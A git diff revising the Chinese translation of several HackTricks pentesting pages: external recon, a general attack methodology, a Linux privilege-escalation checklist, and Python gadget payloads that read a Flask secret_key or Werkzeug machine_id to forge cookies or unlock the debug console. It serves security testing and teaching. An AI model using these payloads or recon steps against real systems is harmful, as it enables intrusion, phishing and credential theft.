**对所有不属于CDN的IP进行端口扫描**（因为您很可能不会在其中找到任何有趣的内容）。在发现的运行服务中，您可能**能够找到漏洞**。
|
||||
**对所有不属于 CDN 的 IP 进行端口扫描**（因为您很可能不会在其中找到任何有趣的内容）。在发现的运行服务中，您可能 **能够找到漏洞**。
|
||||
|
||||
**查找** [**指南**](../pentesting-network/) **关于如何扫描主机。**
|
||||
**查找** [**指南**](../pentesting-network/index.html) **关于如何扫描主机。**
|
||||
|
||||
## 网络服务器猎杀
|
||||
|
||||
> 我们已经找到了所有公司及其资产，并且我们知道范围内的IP范围、域名和子域名。现在是搜索网络服务器的时候了。
|
||||
> 我们已经找到了所有公司及其资产，并且我们知道范围内的 IP 范围、域名和子域名。现在是搜索网络服务器的时候了。
|
||||
|
||||
在之前的步骤中，您可能已经对发现的IP和域名进行了某些**侦察**，因此您可能**已经找到了所有可能的网络服务器**。然而，如果您还没有，我们现在将看到一些**快速技巧来搜索范围内的网络服务器**。
|
||||
在之前的步骤中，您可能已经对发现的 IP 和域名进行了某些 **侦察**，因此您可能 **已经找到了所有可能的网络服务器**。但是，如果您还没有，我们现在将看到一些 **快速技巧来搜索范围内的网络服务器**。
|
||||
|
||||
请注意，这将是**面向网络应用程序发现**的，因此您还应该**执行漏洞**和**端口扫描**（**如果范围允许**）。
|
||||
请注意，这将是 **面向网络应用程序发现** 的，因此您还应该 **执行漏洞** 和 **端口扫描**（**如果范围允许**）。
|
||||
|
||||
一种**快速方法**是使用[**masscan**在这里发现与**网络**服务器相关的**开放端口**](../pentesting-network/index.html#http-port-discovery)。\
|
||||
另一个友好的工具是[**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe)和[**httpx**](https://github.com/projectdiscovery/httpx)。您只需传递一个域名列表，它将尝试连接到80（http）和443（https）端口。此外，您可以指示尝试其他端口：
|
||||
一种 **快速方法** 是使用 [**masscan** 在此处发现与 **网络** 服务器相关的 **开放端口**](../pentesting-network/index.html#http-port-discovery)。\
|
||||
另一个友好的工具是 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 和 [**httpx**](https://github.com/projectdiscovery/httpx)。您只需传递一个域名列表，它将尝试连接到 80 端口（http）和 443 端口（https）。此外，您可以指示尝试其他端口：
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
### **截图**
|
||||
|
||||
现在您已经发现了范围内的**所有网络服务器**（在公司的**IP**和所有**域名**及**子域名**中），您可能**不知道从哪里开始**。所以，让我们简单一点，开始对它们进行截图。仅通过**查看****主页**，您就可以找到更**容易**被**利用**的**奇怪**端点。
|
||||
现在你已经发现了范围内的**所有网络服务器**（包括公司的**IP**和所有的**域名**及**子域名**），你可能**不知道从哪里开始**。所以，让我们简单一点，开始对它们进行截图。仅仅通过**查看****主页**，你就可以找到更**容易**被**利用**的**奇怪**端点。
|
||||
|
||||
要执行所提议的想法，您可以使用 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness) 或 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。**
|
||||
要执行这个提议，你可以使用 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness) 或 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。**
|
||||
|
||||
此外，您还可以使用 [**eyeballer**](https://github.com/BishopFox/eyeballer) 来分析所有的**截图**，告诉您**哪些可能包含漏洞**，哪些则不包含。
|
||||
此外，你还可以使用 [**eyeballer**](https://github.com/BishopFox/eyeballer) 来分析所有的**截图**，告诉你**哪些可能包含漏洞**，哪些则不然。
|
||||
|
||||
## 公有云资产
|
||||
|
||||
为了找到属于公司的潜在云资产，您应该**从一份识别该公司的关键词列表开始**。例如，对于一家加密公司，您可以使用以下词汇：“`"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`”。
|
||||
为了找到属于公司的潜在云资产，你应该**从一份识别该公司的关键词列表开始**。例如，对于一家加密公司，你可以使用以下词汇：“`"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`”。
|
||||
|
||||
您还需要**常用词汇**的字典，用于存储桶：
|
||||
你还需要一些**常用词汇的字典**，用于存储桶：
|
||||
|
||||
- [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
然后，使用这些词汇生成**排列组合**（有关更多信息，请查看 [**第二轮DNS暴力破解**](#second-dns-bruteforce-round)）。
|
||||
然后，使用这些词汇生成**排列组合**（查看 [**第二轮DNS暴力破解**](#second-dns-bruteforce-round) 获取更多信息）。
|
||||
|
||||
使用生成的字典，您可以使用工具，如 [**cloud_enum**](https://github.com/initstring/cloud_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **或** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**。**
|
||||
使用生成的字典，你可以使用工具如 [**cloud_enum**](https://github.com/initstring/cloud_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **或** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**。**
|
||||
|
||||
请记住，在寻找云资产时，您应该**寻找的不仅仅是AWS中的存储桶**。
|
||||
记住，在寻找云资产时，你应该**寻找的不仅仅是AWS中的存储桶**。
|
||||
|
||||
### **寻找漏洞**
|
||||
|
||||
如果您发现**开放的存储桶或暴露的云函数**，您应该**访问它们**，看看它们提供了什么，以及您是否可以利用它们。
|
||||
如果你发现**开放的存储桶或暴露的云函数**，你应该**访问它们**，看看它们提供了什么，以及你是否可以利用它们。
|
||||
|
||||
## 电子邮件
|
||||
|
||||
通过范围内的**域名**和**子域名**，您基本上拥有了**开始搜索电子邮件**所需的所有信息。这些是我找到公司电子邮件时效果最好的**API**和**工具**：
|
||||
通过范围内的**域名**和**子域名**，你基本上拥有了**开始搜索电子邮件**所需的一切。这些是我找到公司电子邮件时效果最好的**API**和**工具**：
|
||||
|
||||
- [**theHarvester**](https://github.com/laramies/theHarvester) - 使用API
|
||||
- [**https://hunter.io/**](https://hunter.io/) 的API（免费版）
|
||||
@ -531,18 +531,18 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
|
||||
### **寻找漏洞**
|
||||
|
||||
电子邮件在后续**暴力破解网络登录和身份验证服务**（如SSH）时会派上用场。此外，它们在**钓鱼**中也是必需的。此外，这些API还会提供有关电子邮件背后**个人**的更多**信息**，这对钓鱼活动非常有用。
|
||||
电子邮件在后续**暴力破解网络登录和身份验证服务**（如SSH）时会派上用场。此外，它们在**网络钓鱼**中也是必需的。此外，这些API还会提供关于电子邮件背后**个人**的更多**信息**，这对网络钓鱼活动非常有用。
|
||||
|
||||
## 凭证泄露
|
||||
|
||||
通过**域名**、**子域名**和**电子邮件**，您可以开始寻找过去泄露的与这些电子邮件相关的凭证：
|
||||
通过**域名**、**子域名**和**电子邮件**，你可以开始寻找过去泄露的与这些电子邮件相关的凭证：
|
||||
|
||||
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
- [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
||||
### **寻找漏洞**
|
||||
|
||||
如果您发现**有效的泄露**凭证，这将是一个非常简单的胜利。
|
||||
如果你发现**有效的泄露**凭证，这将是一个非常简单的胜利。
|
||||
|
||||
## 秘密泄露
|
||||
|
||||
@ -551,13 +551,13 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
### Github泄露
|
||||
|
||||
凭证和API可能在**公司**或在该github公司工作的**用户**的**公共仓库**中泄露。\
|
||||
您可以使用**工具** [**Leakos**](https://github.com/carlospolop/Leakos) 来**下载**一个**组织**及其**开发者**的所有**公共仓库**，并自动运行 [**gitleaks**](https://github.com/zricethezav/gitleaks)。
|
||||
你可以使用**工具** [**Leakos**](https://github.com/carlospolop/Leakos) 来**下载**一个**组织**及其**开发者**的所有**公共仓库**，并自动运行 [**gitleaks**](https://github.com/zricethezav/gitleaks)。
|
||||
|
||||
**Leakos** 还可以用于对所有**提供的URL**进行**gitleaks**扫描，因为有时**网页中也包含秘密**。
|
||||
**Leakos** 也可以用于对所有提供的**URL**进行**gitleaks**扫描，因为有时**网页中也包含秘密**。
|
||||
|
||||
#### Github Dorks
|
||||
|
||||
还请查看此**页面**，以获取您可以在攻击的组织中搜索的潜在**github dorks**：
|
||||
还可以查看此**页面**，寻找你可以在攻击的组织中搜索的潜在**github dorks**：
|
||||
|
||||
{{#ref}}
|
||||
github-leaked-secrets.md
|
||||
@ -566,57 +566,57 @@ github-leaked-secrets.md
|
||||
### Paste泄露
|
||||
|
||||
有时攻击者或普通员工会在**粘贴网站**上**发布公司内容**。这可能包含或不包含**敏感信息**，但搜索它非常有趣。\
|
||||
您可以使用工具 [**Pastos**](https://github.com/carlospolop/Pastos) 在80多个粘贴网站上同时搜索。
|
||||
你可以使用工具 [**Pastos**](https://github.com/carlospolop/Pastos) 在80多个粘贴网站上同时搜索。
|
||||
|
||||
### Google Dorks
|
||||
|
||||
老而经典的Google dorks始终有助于查找**不应存在的暴露信息**。唯一的问题是 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) 包含数千个您无法手动运行的可能查询。因此，您可以选择您最喜欢的10个，或者使用**工具，如** [**Gorks**](https://github.com/carlospolop/Gorks) **来运行它们**。
|
||||
老而经典的google dorks总是有助于找到**不该存在的暴露信息**。唯一的问题是 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) 包含数千个你无法手动运行的可能查询。因此，你可以选择你最喜欢的10个，或者使用**工具如** [**Gorks**](https://github.com/carlospolop/Gorks) **来运行它们**。
|
||||
|
||||
_请注意，期望使用常规Google浏览器运行所有数据库的工具将永远无法完成，因为Google会很快阻止您。_
|
||||
_请注意，期望使用常规Google浏览器运行所有数据库的工具将永远无法完成，因为Google会很快阻止你。_
|
||||
|
||||
### **寻找漏洞**
|
||||
|
||||
如果您发现**有效的泄露**凭证或API令牌，这将是一个非常简单的胜利。
|
||||
如果你发现**有效的泄露**凭证或API令牌，这将是一个非常简单的胜利。
|
||||
|
||||
## 公共代码漏洞
|
||||
|
||||
如果您发现公司有**开源代码**，您可以**分析**它并搜索其上的**漏洞**。
|
||||
如果你发现公司有**开源代码**，你可以**分析**它并搜索其中的**漏洞**。
|
||||
|
||||
**根据语言**的不同，您可以使用不同的**工具**：
|
||||
**根据语言**的不同，你可以使用不同的**工具**：
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/code-review-tools.md
|
||||
{{#endref}}
|
||||
|
||||
还有一些免费服务允许您**扫描公共仓库**，例如：
|
||||
还有一些免费服务允许你**扫描公共仓库**，例如：
|
||||
|
||||
- [**Snyk**](https://app.snyk.io/)
|
||||
|
||||
## [**网络渗透测试方法论**](../../network-services-pentesting/pentesting-web/)
|
||||
## [**网络渗透测试方法论**](../../network-services-pentesting/pentesting-web/index.html)
|
||||
|
||||
**大多数漏洞**由漏洞猎人发现，存在于**网络应用程序**中，因此在这一点上，我想谈谈**网络应用程序测试方法论**，您可以在 [**这里找到此信息**](../../network-services-pentesting/pentesting-web/)。
|
||||
**大多数漏洞**都是由漏洞猎人发现的，存在于**网络应用程序**中，因此在这一点上，我想谈谈**网络应用程序测试方法论**，你可以 [**在这里找到这些信息**](../../network-services-pentesting/pentesting-web/index.html)。
|
||||
|
||||
我还想特别提到 [**Web自动扫描器开源工具**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) 部分，因为如果您不应该期望它们找到非常敏感的漏洞，它们在**工作流程中实现一些初步网络信息**时非常有用。
|
||||
我还想特别提到 [**开源工具的网络自动扫描器**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) 这一部分，因为，虽然你不应该指望它们能找到非常敏感的漏洞，但它们在**工作流程中提供一些初步的网络信息**时非常有用。
|
||||
|
||||
## 复述
|
||||
## 综述
|
||||
|
||||
> 恭喜！到目前为止，您已经完成了**所有基本枚举**。是的，这很基础，因为可以进行更多的枚举（稍后会看到更多技巧）。
|
||||
> 恭喜！到目前为止，你已经完成了**所有基本的枚举**。是的，这很基础，因为还有很多其他的枚举可以进行（稍后会看到更多技巧）。
|
||||
|
||||
所以您已经：
|
||||
所以你已经：
|
||||
|
||||
1. 找到了范围内的**所有公司**
|
||||
2. 找到了属于公司的**所有资产**（并在范围内进行了一些漏洞扫描）
|
||||
3. 找到了属于公司的**所有域名**
|
||||
4. 找到了域名的**所有子域名**（是否有子域名接管？）
|
||||
4. 找到了所有域名的**子域名**（是否有子域名接管？）
|
||||
5. 找到了范围内的**所有IP**（来自和**不来自CDN**的IP）。
|
||||
6. 找到了**所有网络服务器**并对它们进行了**截图**（是否有任何奇怪的地方值得深入研究？）
|
||||
6. 找到了所有的**网络服务器**并对它们进行了**截图**（是否有任何奇怪的地方值得深入研究？）
|
||||
7. 找到了属于公司的**所有潜在公共云资产**。
|
||||
8. **电子邮件**、**凭证泄露**和**秘密泄露**，这些可能会让您**轻松获得重大胜利**。
|
||||
9. **渗透测试您找到的所有网站**
|
||||
8. **电子邮件**、**凭证泄露**和**秘密泄露**，这些可能会给你带来**非常轻松的重大胜利**。
|
||||
9. **渗透测试你找到的所有网站**
|
||||
|
||||
## **全面侦查自动化工具**
|
||||
## **全自动侦查工具**
|
||||
|
||||
有几种工具可以针对给定范围执行部分提议的操作。
|
||||
有几种工具可以执行针对给定范围的部分提议操作。
|
||||
|
||||
- [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||
- [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||
|
||||
@ -11,16 +11,16 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
|
||||
|
||||
### 0- 物理攻击
|
||||
|
||||
你是否对你想攻击的机器有**物理访问**？你应该阅读一些关于[**物理攻击的技巧**](../hardware-physical-access/physical-attacks.md)和其他关于[**从GUI应用程序逃脱**](../hardware-physical-access/escaping-from-gui-applications.md)的内容。
|
||||
你是否对你想攻击的机器有**物理访问**？你应该阅读一些关于[**物理攻击的技巧**](../hardware-physical-access/physical-attacks.md)和其他关于[**逃避GUI应用程序**](../hardware-physical-access/escaping-from-gui-applications.md)的内容。
|
||||
|
||||
### 1 - [发现网络中的主机](pentesting-network/index.html#discovering-hosts)/ [发现公司的资产](external-recon-methodology/)
|
||||
### 1 - [发现网络中的主机](pentesting-network/index.html#discovering-hosts)/ [发现公司的资产](external-recon-methodology/index.html)
|
||||
|
||||
**根据**你进行的**测试**是**内部测试还是外部测试**，你可能会对查找**公司网络内部的主机**（内部测试）或**在互联网上查找公司的资产**（外部测试）感兴趣。
|
||||
|
||||
> [!NOTE]
|
||||
> 请注意，如果你正在进行外部测试，一旦你成功获得对公司内部网络的访问，你应该重新开始本指南。
|
||||
> 请注意，如果你正在进行外部测试，一旦你成功获得公司内部网络的访问权限，你应该重新开始本指南。
|
||||
|
||||
### **2-** [**与网络一起玩乐**](pentesting-network/) **（内部）**
|
||||
### **2-** [**在网络中玩乐**](pentesting-network/index.html) **（内部）**
|
||||
|
||||
**本节仅适用于你进行内部测试的情况。**\
|
||||
在攻击主机之前，也许你更愿意**从网络中窃取一些凭据**或**嗅探**一些**数据**以**被动/主动（MitM）**了解你可以在网络中找到什么。你可以阅读[**Pentesting Network**](pentesting-network/index.html#sniffing)。
|
||||
@ -31,7 +31,7 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
|
||||
|
||||
### **4-** [搜索服务版本漏洞](../generic-hacking/search-exploits.md)
|
||||
|
||||
一旦你知道哪些服务在运行，也许还知道它们的版本，你就必须**搜索已知的漏洞**。也许你会运气好，找到一个可以给你一个shell的漏洞...
|
||||
一旦你知道哪些服务在运行，也许还有它们的版本，你就必须**搜索已知的漏洞**。也许你会运气好，找到一个可以给你一个shell的漏洞...
|
||||
|
||||
### **5-** Pentesting服务
|
||||
|
||||
@ -39,7 +39,7 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
|
||||
|
||||
**在本书中，你将找到一个关于渗透测试最常见服务的指南**（以及其他不那么常见的服务）。请在左侧索引中搜索**_**PENTESTING**_ **部分**（服务按其默认端口排序）。
|
||||
|
||||
**我想特别提到** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分（因为这是最广泛的部分）。**\
|
||||
**我想特别提到** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **部分（因为这是最广泛的部分）。**\
|
||||
此外，这里还有一个关于如何[**查找软件中的已知漏洞**](../generic-hacking/search-exploits.md)的小指南。
|
||||
|
||||
**如果你的服务不在索引中，请在Google中搜索**其他教程，并**告诉我你是否希望我添加它。**如果你**在Google中找不到任何东西**，请进行**自己的盲目渗透测试**，你可以开始**连接到服务，模糊测试并阅读响应**（如果有的话）。
|
||||
@ -52,13 +52,13 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
|
||||
|
||||
在某些情况下，**暴力破解**可能对**破坏**一个**服务**有用。[**在这里找到不同服务暴力破解的备忘单**](../generic-hacking/brute-force.md)**。**
|
||||
|
||||
### 6- [钓鱼](phishing-methodology/)
|
||||
### 6- [钓鱼](phishing-methodology/index.html)
|
||||
|
||||
如果到目前为止你还没有找到任何有趣的漏洞，你**可能需要尝试一些钓鱼**以便进入网络。你可以在[这里](phishing-methodology/)阅读我的钓鱼方法论：
|
||||
如果到目前为止你还没有找到任何有趣的漏洞，你**可能需要尝试一些钓鱼**以便进入网络。你可以在[这里](phishing-methodology/index.html)阅读我的钓鱼方法论：
|
||||
|
||||
### **7-** [**获取Shell**](../generic-hacking/reverse-shells/)
|
||||
### **7-** [**获取Shell**](../generic-hacking/reverse-shells/index.html)
|
||||
|
||||
不知怎么的，你应该找到**在受害者上执行代码的某种方法**。然后，[在系统中可以用来获取反向shell的可能工具列表将非常有用](../generic-hacking/reverse-shells/)。
|
||||
不知怎么的，你应该找到**在受害者上执行代码的某种方法**。然后，[在系统中可以用来获取反向shell的可能工具列表将非常有用](../generic-hacking/reverse-shells/index.html)。
|
||||
|
||||
特别是在Windows中，你可能需要一些帮助来**避免杀毒软件**：[**查看此页面**](../windows-hardening/av-bypass.md)**。**\\
|
||||
|
||||
@ -68,36 +68,36 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
|
||||
|
||||
- [**Linux**](../linux-hardening/useful-linux-commands.md)
|
||||
- [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
||||
- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html)
|
||||
|
||||
### **9 -** [**数据外泄**](../generic-hacking/exfiltration.md)
|
||||
|
||||
你可能需要**从受害者那里提取一些数据**，甚至**引入一些东西**（如特权升级脚本）。**这里有一篇** [**关于你可以用来实现这些目的的常用工具的文章**](../generic-hacking/exfiltration.md)**。**
|
||||
你可能需要**从受害者那里提取一些数据**，甚至**引入一些东西**（如特权升级脚本）。**这里有一篇关于你可以用来实现这些目的的** [**常用工具的文章**](../generic-hacking/exfiltration.md)**。**
|
||||
|
||||
### **10- 特权升级**
|
||||
|
||||
#### **10.1- 本地特权升级**
|
||||
|
||||
如果你在盒子里**不是root/管理员**，你应该找到一种方法来**提升特权**。\
|
||||
在这里你可以找到**在** [**Linux**](../linux-hardening/privilege-escalation/) **和** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **中本地提升特权的指南**。\
|
||||
在这里你可以找到关于在**Linux**和**Windows**中本地提升特权的**指南**：[**Linux**](../linux-hardening/privilege-escalation/index.html) **和** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)**。**\
|
||||
你还应该查看这些关于**Windows工作原理**的页面：
|
||||
|
||||
- [**身份验证、凭据、令牌特权和UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
- [**NTLM工作原理**](../windows-hardening/ntlm/)
|
||||
- [**身份验证、凭据、令牌特权和UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
|
||||
- [**NTLM工作原理**](../windows-hardening/ntlm/index.html)
|
||||
- 如何[**窃取凭据**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)在Windows中
|
||||
- 一些关于[_**Active Directory**_](../windows-hardening/active-directory-methodology/)的技巧
|
||||
- 一些关于[_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html)的技巧
|
||||
|
||||
**不要忘记查看最佳工具以枚举Windows和Linux本地特权升级路径：** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- 域特权升级**
|
||||
|
||||
在这里你可以找到一篇[**方法论，解释最常见的操作以枚举、提升特权并在Active Directory中保持持久性**](../windows-hardening/active-directory-methodology/)。即使这只是一个部分的子部分，这个过程在渗透测试/红队任务中可能是**极其微妙**的。
|
||||
在这里你可以找到一篇[**方法论，解释最常见的操作以枚举、提升特权和在Active Directory中持久化**](../windows-hardening/active-directory-methodology/index.html)。即使这只是一个部分的子部分，这个过程在渗透测试/红队任务中可能是**极其微妙**的。
|
||||
|
||||
### 11 - POST
|
||||
|
||||
#### **11**.1 - 掠夺
|
||||
|
||||
检查你是否可以在主机中找到更多**密码**，或者你是否有**访问其他机器**的**用户权限**。\
|
||||
检查你是否可以在主机中找到更多**密码**，或者你是否有**访问其他机器**的**权限**。\
|
||||
在这里找到不同的方法来[**在Windows中转储密码**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)。
|
||||
|
||||
#### 11.2 - 持久性
|
||||
@ -105,26 +105,26 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
|
||||
**使用2到3种不同类型的持久性机制，这样你就不需要再次利用系统。**\
|
||||
**在这里你可以找到一些** [**关于Active Directory的持久性技巧**](../windows-hardening/active-directory-methodology/index.html#persistence)**。**
|
||||
|
||||
TODO: 完成Windows和Linux中的持久性后期处理
|
||||
TODO: 完成Windows和Linux中的持久性Post
|
||||
|
||||
### 12 - 透传
|
||||
|
||||
通过**收集到的凭据**，你可能可以访问其他机器，或者你可能需要**发现和扫描新主机**（重新开始渗透测试方法论）在受害者连接的新网络中。\
|
||||
在这种情况下，隧道可能是必要的。这里你可以找到[**关于隧道的文章**](../generic-hacking/tunneling-and-port-forwarding.md)。\
|
||||
你绝对应该查看关于[Active Directory渗透测试方法论](../windows-hardening/active-directory-methodology/)的文章。在那里你会找到很酷的技巧来横向移动、提升特权和转储凭据。\
|
||||
还要查看关于[**NTLM**](../windows-hardening/ntlm/)的页面，这在Windows环境中透传时可能非常有用。
|
||||
你绝对应该查看关于[Active Directory渗透测试方法论](../windows-hardening/active-directory-methodology/index.html)的文章。在那里你会找到很酷的技巧来横向移动、提升特权和转储凭据。\
|
||||
还要查看关于[**NTLM**](../windows-hardening/ntlm/index.html)的页面，这在Windows环境中透传可能非常有用。
|
||||
|
||||
### 更多
|
||||
|
||||
#### [Android应用程序](../mobile-pentesting/android-app-pentesting/)
|
||||
#### [Android应用程序](../mobile-pentesting/android-app-pentesting/index.html)
|
||||
|
||||
#### **利用**
|
||||
|
||||
- [**基本Linux利用**](broken-reference/)
|
||||
- [**基本Linux利用**](broken-reference/index.html)
|
||||
- [**基本Windows利用**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [**基本利用工具**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
|
||||
- [**基本利用工具**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
|
||||
|
||||
#### [**基本Python**](python/)
|
||||
#### [**基本Python**](python/index.html)
|
||||
|
||||
#### **加密技巧**
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
- [**Pyscript 黑客技巧**](pyscript.md)
|
||||
- [**Python 反序列化**](../../pentesting-web/deserialization/index.html#python)
|
||||
- [**绕过 Python 沙箱的技巧**](bypass-python-sandboxes/)
|
||||
- [**绕过 Python 沙箱的技巧**](bypass-python-sandboxes/index.html)
|
||||
- [**基本的 Python 网络请求语法**](web-requests.md)
|
||||
- [**基本的 Python 语法和库**](basic-python.md)
|
||||
|
||||
|
||||
@ -8,24 +8,24 @@
|
||||
|
||||
### Flask - 读取密钥
|
||||
|
||||
Flask 应用程序的主页面可能会有 **`app`** 全局对象，其中 **配置了这个密钥**。
|
||||
Flask 应用程序的主页面可能会有 **`app`** 全局对象，在这里 **配置了这个密钥**。
|
||||
```python
|
||||
app = Flask(__name__, template_folder='templates')
|
||||
app.secret_key = '(:secret:)'
|
||||
```
|
||||
在这种情况下，可以使用任何小工具来**访问全局对象**，来自[**绕过 Python 沙箱页面**](bypass-python-sandboxes/)。
|
||||
在这种情况下，可以使用任何小工具来**访问全局对象**，来自[**绕过 Python 沙箱页面**](bypass-python-sandboxes/index.html)。
|
||||
|
||||
在**漏洞位于不同的 Python 文件**的情况下，您需要一个小工具来遍历文件，以便到达主文件以**访问全局对象 `app.secret_key`**，以更改 Flask 秘钥并能够[**提升权限**，知道这个密钥](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign)。
|
||||
在**漏洞位于不同的 Python 文件**的情况下，您需要一个小工具来遍历文件，以便到达主文件，**访问全局对象 `app.secret_key`**，以更改 Flask 秘钥并能够[**提升权限**，知道这个密钥](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign)。
|
||||
|
||||
像这样的有效载荷[来自这篇文章](https://ctftime.org/writeup/36082)：
|
||||
```python
|
||||
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
|
||||
```
|
||||
使用此有效载荷来**更改 `app.secret_key`**（您应用中的名称可能不同），以便能够签署新的和更高级的 Flask cookies。
|
||||
使用此有效载荷来**更改 `app.secret_key`**（您应用中的名称可能不同），以便能够签署新的和更高权限的 flask cookies。
|
||||
|
||||
### Werkzeug - machine_id 和 node uuid
|
||||
|
||||
[**使用此写作中的有效载荷**](https://vozec.fr/writeups/tweedle-dum-dee/)，您将能够访问**machine_id**和**uuid**节点，这些是您需要的**主要秘密**，以[**生成 Werkzeug pin**](../../network-services-pentesting/pentesting-web/werkzeug.md)，您可以在**调试模式启用时**在 `/console` 访问 Python 控制台：
|
||||
[**使用此写作中的有效载荷**](https://vozec.fr/writeups/tweedle-dum-dee/)，您将能够访问**machine_id**和**uuid**节点，这些是您需要的**主要秘密**，以[**生成 Werkzeug pin**](../../network-services-pentesting/pentesting-web/werkzeug.md)，您可以在**调试模式启用时**使用它访问 `/console` 的 python 控制台：
|
||||
```python
|
||||
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
|
||||
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}
|
||||
|
||||
@ -2,80 +2,80 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### **最佳工具查找Linux本地权限提升向量:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
### **查找Linux本地权限提升向量的最佳工具：** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
### [系统信息](privilege-escalation/index.html#system-information)
|
||||
|
||||
- [ ] 获取 **操作系统信息**
|
||||
- [ ] 检查 [**PATH**](privilege-escalation/index.html#path)，是否有 **可写文件夹**？
|
||||
- [ ] 检查 [**环境变量**](privilege-escalation/index.html#env-info)，是否有敏感信息？
|
||||
- [ ] 搜索 [**内核漏洞**](privilege-escalation/index.html#kernel-exploits) **使用脚本** (DirtyCow?)
|
||||
- [ ] 搜索 [**内核漏洞**](privilege-escalation/index.html#kernel-exploits) **使用脚本**（DirtyCow？）
|
||||
- [ ] **检查** [**sudo版本是否存在漏洞**](privilege-escalation/index.html#sudo-version)
|
||||
- [ ] [**Dmesg** 签名验证失败](privilege-escalation/index.html#dmesg-signature-verification-failed)
|
||||
- [ ] 更多系统枚举 ([日期，系统统计，CPU信息，打印机](privilege-escalation/index.html#more-system-enumeration))
|
||||
- [ ] 更多系统枚举（[日期，系统统计，CPU信息，打印机](privilege-escalation/index.html#more-system-enumeration)）
|
||||
- [ ] [枚举更多防御措施](privilege-escalation/index.html#enumerate-possible-defenses)
|
||||
|
||||
### [驱动器](privilege-escalation/index.html#drives)
|
||||
|
||||
- [ ] **列出已挂载** 驱动器
|
||||
- [ ] **列出已挂载**的驱动器
|
||||
